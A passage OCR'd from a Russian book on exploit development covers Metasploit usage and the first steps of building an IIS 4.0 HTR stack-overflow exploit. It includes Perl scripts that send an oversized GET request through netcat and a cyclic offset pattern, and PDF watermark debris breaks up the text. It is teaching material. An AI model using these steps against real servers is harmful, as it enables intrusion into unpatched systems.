книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
P |
D |
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
NOW! |
r |
|
|
|
|
|
NOW! |
r |
||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
594 Глава 12. Написание эксплойтов III |
|
|
|
|
to |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
m |
|
w |
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
o |
|
w Click |
|
|
|
|
|
|
o |
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
Одно из отличий каркаса Metasploit от большинства общедоступных авто--x cha |
|
|
|
|
|
номных эксплойтов в том, что он позволяет выбирать произвольную полезную нагрузку в зависимости от сети и условий в атакуемой системе.
После выбора полезной нагрузки, возможно, придется задать ряд дополнительных параметров. На рис. 12.10 показан результат команды show options, которая выводит список таких параметров.
Рис. 12.10. Дополнительные параметры полезной нагрузки
При тестировании эксплойта очень полезной оказывается команда save. Она сохраняет текущие значения переменных среды и всех прочих параметров эксплойта на диске, так чтобы их можно было загрузить при следующем запуске mfcconsole.
Если принимаемые по умолчанию параметры полезной нагрузки пользователя устраивают, то для начала атаки следует ввести команду exploit. На рис. 12.11 видно, что эксплойт удачно атаковал уязвимую удаленную систему. Открыт прослушиваемый порт, и Metasploit автоматически соединился с ожидающей ввода команд оболочкой.
Рис. 12.11. Эксплойт сработал против уязвимости на удаленной системе
Еще одна уникальная особенность Metasploit – это возможность динами- чески соединяться с открытыми полезной нагрузкой портами. Традиционно для установления соединения с таким портом использовались внешние программы, например, Netcat. Если нагрузка создавала на удаленной машине
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Разработка эксплойтов с помощью каркаса Metasploit 595 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||
|
|
|
|
-xchVNCa |
-сервер, то для соединения с ним был нужен VNC-клиент. Каркас же |
|
|
e |
|
||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Metasploit устраняет необходимость во внешних обработчиках. Если эксплойт в предыдущем примере выполнил свою задачу, то автоматически открывается соединение с портом 4444 на удаленной машине. Такая возможность поддерживается для всех полезных нагрузок, поставляемых вместе
ñMetasploit, даже для таких сложных, как shell-код, реализующий VNC-сервер.
Âэтом примере были рассмотрены лишь команды, необходимые для описываемого ниже процесса создания эксплойта. Прочитать о каркасе Metasploit Framework подробнее, в частности, познакомиться с руководством пользователя можно на официальной странице документации проекта по адресу www.metasploit.com/projects/Framework/documentation.html.
Разработка эксплойтов
с помощью каркаса Metasploit
В этом разделе мы сами разработаем автономный эксплойт для той же уязвимости, которая обсуждалась выше. Обычно для написания эксплойта требуется хорошее владение языком ассемблера для целевой архитектуры, детальное знакомство с внутренним устройством операционной системы и умение программировать.
Однако поставляемые в составе Metasploit утилиты существенно упрощают процесс. Каркас абстрагирует многие детали в наборе простых и удобных инструментов, которые позволяют намного сократить время разработки и уменьшить требования к предварительной подготовке пользователя. Мы воспользуемся этими утилитами в процессе создания эксплойта IIS 4.0 HTR Buffer Overflow.
В следующем разделе процесс разработки эксплойта, направленного против простой ошибки, связанной с переполнением стека, рассматривается от начала до конца. Сначала определяется вектор атаки. Затем следует вычислить смещение адреса возврата от вершины стека. Определив наиболее надежный вектор управления, необходимо найти адрес возврата. Перед выбором полезной нагрузки надо принять во внимание ограничения по допустимым символам и размеру. Еще потребуется создать «дорожку», состоящую из командзаполнителей nop, не выполняющих никаких действий. И, наконец, можно приступать к выбору, генерированию и кодированию полезной нагрузки.
Мы будем предполагать, что целевая машина работает под управлением операционной системы Windows NT4 Service Pack 5 на 32-разрядном процессоре Intel x86, и на ней запущен Web-сервер Microsoft Internet Information Server (IIS) версии 4.0.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Разработка эксплойтов с помощью каркаса Metasploit 597 |
|
to |
|
|
|
|
|
|
|||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
e |
|
||||
|
|
|
df |
|
Нахождение смещения |
|
|
|
df |
|
|
n |
|
|
|
|
||||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
Определившись с вектором атаки, мы можем написать Perl-сценарий, который вызовет переполнение буфера и перезапись адреса возврата (пример 12.1).
Пример 12.1. Перезапись адреса возврата
1$string = "GET /";
2$string .= "A" x 4000;
3 $string .= ".htr HTTP/1.0\r\n\r\n";
4
5open(NC, "|nc.exe 192.168.181.129 80");
6print NC $string;
7close(NC);
Âстроке 1 мы начинаем построение строки запроса с указания его типа GET. В строке 2 в конец строки дописывается 4000 символов 'A' в качестве имени файла. В строке 3 к имени файла добавляется расширение .htr. Полу- чив файл с таким расширением, IIS передаст его для обработки библиотеке ISM. Кроме того, в строке 3 указана версия протокола HTTP и завершающая последовательность из символов возврата каретки и перевода строки. В строке 5 создается конвейер с программой Netcat. Поскольку программирование сокетов – это не тема данной главы, то мы поручим все сетевые коммуникации этой программе. В данном случае мы попросили Netcat установить соединение с портом 80 по адресу 192.168.181.129. В строке 5 строка $string выводится в конвейер, который в конечном итоге доставляет ее хосту-жертве.
На рис. 12.12 показана строка, отправляемая IIS.
Рис. 12.12. Первый вариант строки для атаки
Мы хотим проверить, был ли адрес возврата перезаписан этой строкой. Для этого понадобится отладчик. Действовать нужно следующим образом:
1.Присоединить отладчик к процессу inetinfo.exe. Убедиться, что после прерывания процесс продолжил выполнение.
2.Выполнить сценарий из примера 12.1.
3.Посланная строка должна перезаписать адрес возврата.
4.Адрес возврата извлекается из стека в регистр EIP.
5.Если процессор попытается загрузить в EIP неверный адрес, система возбудит исключение из-за нарушения защиты памяти.
6.Отладчик перехватит это исключение и остановит процесс.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Разработка эксплойтов с помощью каркаса Metasploit 599 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||
|
|
|
|
-xchåòa |
|
получить достаточно информации о том, где находится адрес возврата. |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Нужно составить имя так, чтобы любые четыре последовательных байта были уникальны. Когда они будут загружены из стека в регистр EIP, мы сможем точно определить их положение в имени файла и дальше достаточно будет подсчитать число символов до них, чтобы точно определить, сколько байтов следует послать, чтобы перезаписать адрес возврата. Число байтов до четверки, оказывающейся в стеке на месте адреса возврата, называется смещением.
Чтобы создать имя файла, в котором любые четыре последовательных байта уникальны, воспользуемся методом PatternCreate() из модуля Pex.pm, который находится в каталоге ~/framework/lib. Этот метод принимает один аргумент, задающий длину генерируемой последовательности. Полученную строку можно будем скопировать в наш сценарий и использовать в качестве имени файла.
Выполнить метод PatternCreate() можно с помощью команды perl -e 'use Pex; print Pex::Text::PatternCreate(4000)'. Ее вывод скопирован в сценарий, представленный в примере 12.2.
Пример 12.2. Перезапись адреса возврата с помощью неповторяющейся последовательности
1 $pattern =
2 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0" .
3 "Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1" .
4 "Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2" .
5 "Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3" .
6 "Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4" .
7 "Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5" .
8 "Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6" .
9 "Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" .
10 "Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8" .
11 "As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9" .
12 "Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0" .
13 "Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1" .
14 "Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2" .
15 "Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3" .
16 "Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4" .
17 "Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" .
18 "Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6" .
19 "Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7" .
20 "Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8" .
21 "Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9" .
22 "Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0" .
23 "Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1" .
24 "Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2" .
25 "Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" .